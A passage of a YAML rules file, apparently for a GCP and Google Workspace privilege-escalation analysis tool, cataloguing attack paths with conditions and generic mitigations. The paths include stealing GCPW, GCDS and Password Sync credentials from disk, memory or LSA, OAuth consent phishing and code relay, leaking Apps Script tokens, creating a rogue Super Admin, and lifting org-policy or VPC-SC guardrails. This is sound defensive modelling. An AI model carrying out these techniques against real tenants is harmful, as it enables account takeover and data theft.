source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---mitm + summary: Control workstation interception path + GCPW configured OAuth sign-in -> potential victim token on future + sign-in. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-15-intercept-a-gcpw-user-s-google-authorization-response-duri + scope: any + aggregate_as: Exact targets for Intercept a GCPW user’s Google authorization response during sign-in + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gcpw_login_interception source capability tied + to exact workstation/user and OAuth client; explicit victim_signin, transport_interception and code_exchange_success + conditions. GCPW installation alone is not an edge. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-16-recover-password-sync-administrator-oauth-or-ad-credential + provider: gcp + service: workspace + title: Recover Password Sync administrator OAuth or AD credentials from its host + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md#gps---dumping-password-and-token-from-disk + summary: Read Password Sync registry/config and decryption context -> configured Google admin or AD bind account, + potential. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-16-recover-password-sync-administrator-oauth-or-ad-credential + scope: any + aggregate_as: Exact targets for Recover Password Sync administrator OAuth or AD credentials from its host + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gps_credential_store selector with account target + and conditional secret decryptability/validity. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-17-join-a-gcp-iam-bound-workspace-group-by-changing-its-synch + provider: gcp + service: workspace + title: Join a GCP IAM-bound Workspace group by changing its synchronized external-directory group + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md#attacking-groups + summary: External directory group-member write + configured Directory Sync mapping -> IAM-bound Google group membership. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_group + selector: + gcp_challenge_fact: gcp-v3-17-join-a-gcp-iam-bound-workspace-group-by-changing-its-synch + scope: any + aggregate_as: Exact targets for Join a GCP IAM-bound Workspace group by changing its synchronized external-directory + group + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add cross-directory source principal and exact sync + rule join; new effective group membership is conditional on next successful sync, and only existing IAM-bound + Google group is target. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + +- id: gcp-v3-18-create-a-second-google-workspace-super-admin + provider: gcp + service: workspace + title: Create a second Google Workspace Super Admin + source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#create-a-new-super-admin + summary: Workspace users.insert plus roleAssignments.insert -> new controlled Super Admin user. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-18-create-a-second-google-workspace-super-admin + scope: any + aggregate_as: Exact targets for Create a second Google Workspace Super Admin + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add actor_created_workspace_user target and exact + two-operation Workspace privilege check; require tenant setting permits new user and Super Admin assignment. + This is an actor-created identity path, not an edge to every existing admin. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-19-edit-a-shared-apps-script-that-still-has-another-user-s-in + provider: gcp + service: workspace + title: Edit a shared Apps Script that still has another user’s installable trigger + source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#abusing-shared-with-me-documents + summary: Editor of exact Apps Script + another user’s existing installable trigger -> trigger owner. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-19-edit-a-shared-apps-script-that-still-has-another-user-s-in + scope: any + aggregate_as: Exact targets for Edit a shared Apps Script that still has another user’s installable trigger + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add owner-trigger binding (script ID, trigger creator, + function, schedule/event source, granted scopes) and editor check. Future firing conditional. Google Apps + Script cannot list another user’s triggers from editor context, so accept owner-side inventory/attestation; + absent binding is UNKNOWN, not all script owners. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-20-extract-gcds-oauth-or-ad-credentials-from-process-memory + provider: gcp + service: workspace + title: Extract GCDS OAuth or AD credentials from process memory + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md#gcds---dumping-tokens-from-memory + summary: GCDS process-memory read -> configured Google/AD account, potential credential extraction. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-20-extract-gcds-oauth-or-ad-credentials-from-process-memory + scope: any + aggregate_as: Exact targets for Extract GCDS OAuth or AD credentials from process memory + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add host_process_credential source with explicit + process owner/target config mapping; token residency and validity conditional. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-21-recover-chrome-profile-refresh-tokens-on-a-gcpw-workstatio + provider: gcp + service: workspace + title: Recover Chrome profile refresh tokens on a GCPW workstation + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---disk-refresh-tokens + summary: Read Chrome profile token DB and Local State under GCPW workstation user -> profile Google account, potential. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-21-recover-chrome-profile-refresh-tokens-on-a-gcpw-workstatio + scope: any + aggregate_as: Exact targets for Recover Chrome profile refresh tokens on a GCPW workstation + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add browser_profile_token target mapping and conditional + decryptability/validity. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-22-recover-google-tokens-from-browser-process-memory-on-a-gcp + provider: gcp + service: workspace + title: Recover Google tokens from browser process memory on a GCPW workstation + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---dumping-tokens-from-processes-memory + summary: Read Chrome process memory on GCPW workstation -> configured signed-in user, potential. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-22-recover-google-tokens-from-browser-process-memory-on-a-gcp + scope: any + aggregate_as: Exact targets for Recover Google tokens from browser process memory on a GCPW workstation + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add browser_process_credential source/target mapping; + residency and validity explicit conditions. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-23-recover-a-gcpw-account-password-from-the-windows-lsa-secre + provider: gcp + service: workspace + title: Recover a GCPW account password from the Windows LSA secret + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---recovering-clear-text-password + summary: Read GCPW LSA recovery secret plus permitted escrow OAuth flow -> named Windows/Google user, potential. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-23-recover-a-gcpw-account-password-from-the-windows-lsa-secre + scope: any + aggregate_as: Exact targets for Recover a GCPW account password from the Windows LSA secret + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gcpw_password_recovery relation with SID, encrypted + recovery record, OAuthLogin-scoped token precondition; recovered password and account reuse conditional. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-24-extract-password-sync-oauth-or-ad-credentials-from-process + provider: gcp + service: workspace + title: Extract Password Sync OAuth or AD credentials from process memory + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md#gps---dumping-tokens-from-memory + summary: Password Sync process-memory read -> configured Google/AD account, potential. Exact source, target, scope + and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-24-extract-password-sync-oauth-or-ad-credentials-from-process + scope: any + aggregate_as: Exact targets for Extract Password Sync OAuth or AD credentials from process memory + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gps_process_credential mapping; token residency + and validity conditional. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-25-phish-a-workspace-user-into-issuing-and-disclosing-an-app + provider: gcp + service: workspace + title: Phish a Workspace user into issuing and disclosing an app password + source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#app-password-phishing + summary: Attacker-controlled lure + victim-created/disclosed app password -> that user’s legacy Workspace service + access. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-25-phish-a-workspace-user-into-issuing-and-disclosing-an-app + scope: any + aggregate_as: Exact targets for Phish a Workspace user into issuing and disclosing an app password + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add external_actor and workspace_legacy_app_password + target kind/scopes; record explicit victim_creates_and_discloses_secret condition and supported legacy protocol. + No GCP IAM principal edge because an app password is service-specific. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:user_interaction +- id: gcp-v3-26-obtain-delegated-user-tokens-through-consent-to-an-attacke + provider: gcp + service: workspace + title: Obtain delegated user tokens through consent to an attacker OAuth app + source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#oauth-apps-phishing + summary: Attacker-controlled OAuth client + eligible victim + later consent -> delegated user token for exact + scopes. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-26-obtain-delegated-user-tokens-through-consent-to-an-attacke + scope: any + aggregate_as: Exact targets for Obtain delegated user tokens through consent to an attacker OAuth app + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add external_oauth_client source, consent policy + and target user/scope; future_user_consent and token_issued conditions cap to MANUAL. No edge from client + registration or allowed app alone. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:user_interaction +- id: gcp-v3-27-relay-a-victim-s-oauth-authorization-code-or-callback-url + provider: gcp + service: workspace + title: Relay a victim’s OAuth authorization code or callback URL + source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#manual-authorization-response-relay + summary: Attacker-controlled OAuth client/redirect and victim-relayed short-lived code -> delegated target user + token. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-27-relay-a-victim-s-oauth-authorization-code-or-callback-url + scope: any + aggregate_as: Exact targets for Relay a victim’s OAuth authorization code or callback URL + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add authorization_code_relay conditional source/target + with client ID, redirect URI, requested scopes and eligible victim; explicit victim_relays_code and timely_exchange + conditions. A registered redirect alone proves no code receipt. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:user_interaction +- id: gcp-v3-28-exfiltrate-an-apps-script-oauth-token-after-victim-authori + provider: gcp + service: workspace + title: Exfiltrate an Apps Script OAuth token after victim authorization + source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#leak-token + summary: Writable Apps Script code running under a known effective user -> that user’s short-lived OAuth token, + within granted scopes. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-28-exfiltrate-an-apps-script-oauth-token-after-victim-authori + scope: any + aggregate_as: Exact targets for Exfiltrate an Apps Script OAuth token after victim authorization + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add script execution binding and scopes from manifest/authorization; + leak-token effect conditional on a trigger/deployment or victim authorization/run. Never infer token scope + from source code alone. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:user_interaction +- id: gcp-v3-29-recover-another-user-s-gcpw-refresh-token-or-stored-google + provider: gcp + service: workspace + title: Recover another user’s GCPW refresh token or stored Google password + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---get-tokens + summary: GCPW stored token/password retrieval, using the concrete registry, Chrome DB or LSA credential subcase. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-29-recover-another-user-s-gcpw-refresh-token-or-stored-google + scope: any + aggregate_as: Exact targets for Recover another user’s GCPW refresh token or stored Google password + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. Add parent source alias expanded into mutually + exclusive child selectors #14/#21/#23; each retains its exact account mapping and conditional secret validity. + Do not create a broad GCPW-installation edge.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-30-projects-move-folders-move-into-a-parent-where-the-source + provider: gcp + service: gcp + title: projects.move / folders.move into a parent where the source holds inherited admin + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#projectsmove--foldersmove--change-inherited-security-controls + summary: Authorized project/folder move -> newly inherited exact IAM permission on moved subtree. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-30-projects-move-folders-move-into-a-parent-where-the-source + scope: any + aggregate_as: Exact targets for projects.move / folders.move into a parent where the source holds inherited + admin + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F10: simulate one move, recompute allow/deny/PAB/org + constraints, emit only newly effective named permission; never assume destination owner gains source identity. + Require resourcemanager.projects.update on project and projects.move on project/current/destination parents + for project move, or folders.move on both parents for folder move; cross-org migration is a separate case.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-31-projects-deletepolicybinding-updatepolicybinding-pab-escap + provider: gcp + service: gcp + title: projects.deletePolicyBinding / updatePolicyBinding PAB escape + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#projectsdeletepolicybinding--projectsupdatepolicybinding--escape-a-pab + summary: Remove exact PAB binding that blocks an existing grant -> unblock named preexisting technique. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-31-projects-deletepolicybinding-updatepolicybinding-pab-escap + scope: any + aggregate_as: Exact targets for projects.deletePolicyBinding / updatePolicyBinding PAB escape + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F11: add gcp_exact_pab_blocker_removed and blocker_removal + outcome. Recompute effective grant after one authorized delete/update; no standalone principal edge. Deletion + also requires iam.principalaccessboundarypolicies.unbind on the owning organization; conditional update requires + iam.principalaccessboundarypolicies.bind. Every remaining applicable PAB must be recomputed.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-32-createtagbinding-deletetagbinding-condition-flip + provider: gcp + service: gcp + title: createTagBinding / deleteTagBinding condition flip + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#createtagbinding--deletetagbinding--flip-tag-gated-security-conditions + summary: Create/delete exact tag binding -> activate existing tag-conditioned IAM grant. Exact source, target, + scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-32-createtagbinding-deletetagbinding-condition-flip + scope: any + aggregate_as: Exact targets for createTagBinding / deleteTagBinding condition flip + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F12: evaluate resource.matchTag/matchTagId against + before/after effective tags and one authorized binding change; unsupported CEL UNKNOWN. Attachment requires + target-side createTagBinding plus value-side tagValueBindings.create (or the corresponding delete rights); + tag policy self-grant is a separate precursor.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-33-orgpolicy-policy-set-lifts-org-policy-constraints + provider: gcp + service: gcp + title: orgpolicy.policy.set lifts org policy constraints + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypolicyset + summary: Org Policy v1 set lifts exact blocker on an otherwise authorized action. Exact source, target, scope + and prerequisite proof are required. + requires: + all_of: + - action: orgpolicy.policy.set + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-33-orgpolicy-policy-set-lifts-org-policy-constraints + scope: any + aggregate_as: Exact targets for orgpolicy.policy.set lifts org policy constraints + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F13: add gcp_exact_org_constraint_removed blocker_removal, + allowlist constraint semantics, re-evaluate only named existing path.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-34-disable-cross-project-sa-usage-constraint-plus-actas + provider: gcp + service: gcp + title: Disable cross-project SA usage constraint plus actAs + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypolicyset-iamserviceaccountsactas + summary: Disable cross-project SA usage constraint -> existing deploy+actAs chain becomes usable. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: + - action: orgpolicy.policy.set + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-34-disable-cross-project-sa-usage-constraint-plus-actas + scope: any + aggregate_as: Exact targets for Disable cross-project SA usage constraint plus actAs + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F13: permit only iam.disableCrossProjectServiceAccountUsage, + recompute same-project/cross-project restrictions, service agent actAs and deploy rights before emitting target + SA.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-35-org-policy-v2-policies-create-update-delete + provider: gcp + service: gcp + title: Org Policy v2 policies.create / update / delete + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypoliciescreate--orgpolicypoliciesupdate-v2-api--disable-guardrails-at-project-scope + summary: Org Policy v2 create/update/delete lifts exact constraint blocking named path. Exact source, target, + scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-35-org-policy-v2-policies-create-update-delete + scope: any + aggregate_as: Exact targets for Org Policy v2 policies.create / update / delete + conditions: + - id: exact_verified_prerequisites + description: 'Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing + or unsupported facts are UNKNOWN, never a derived/FAIL path. F13: one-operation blocker-removal simulation + with exact v2 authority and allowlisted constraint; no generic admin edge.' + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-36-service-perimeter-update + provider: gcp + service: gcp + title: Service perimeter update + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + summary: Perimeter update lifts VPC-SC block on an already IAM-authorized target API call. Exact source, target, + scope and prerequisite proof are required. + requires: + all_of: + - action: accesscontextmanager.servicePerimeters.update + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-36-service-perimeter-update + scope: any + aggregate_as: Exact targets for Service perimeter update + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gcp_vpc_sc_exact_blocker_removed; simulate ingress/egress/status + mutation for one API request context. Emit only activated existing identity path, not identity from perimeter + edit. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-37-bulk-replaceall-of-access-levels-perimeters + provider: gcp + service: gcp + title: Bulk replaceAll of access levels / perimeters + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesslevelsreplaceall--serviceperimetersreplaceall--atomic-bulk-overwrite-distinct-audit-method + summary: replaceAll removes exact access-level/perimeter block on existing identity path. Exact source, target, + scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-37-bulk-replaceall-of-access-levels-perimeters + scope: any + aggregate_as: Exact targets for Bulk replaceAll of access levels / perimeters + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Same gcp_vpc_sc_exact_blocker_removed with atomic + replacement and full policy snapshot; require permission for chosen replaceAll RPC. Dry-run-only replacement + has no effect. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-38-dry-run-spec-staging-and-enforcement-flip + provider: gcp + service: gcp + title: Dry-run spec staging and enforcement flip + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#dry-run-spec-vs-enforced-status--stealth-staging--one-call-flip + summary: Commit staged dry-run perimeter spec -> activate an otherwise blocked IAM-authorized request. Exact source, + target, scope and prerequisite proof are required. + requires: + all_of: + - action: accesscontextmanager.servicePerimeters.update + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-38-dry-run-spec-staging-and-enforcement-flip + scope: any + aggregate_as: Exact targets for Dry-run spec staging and enforcement flip + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add status/spec state and commit simulation; staging + alone has no edge. After authorized commit, recompute one exact request; conditional on commit completion + and request context. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-39-authorized-orgs-injection + provider: gcp + service: gcp + title: Authorized orgs injection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#authorizedorgsdescs-authorized-orgs--cross-org-trust-injection + summary: Authorized org descriptor write changes an exact device/credential-strength access-level predicate and + thereby unblocks a named path. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: 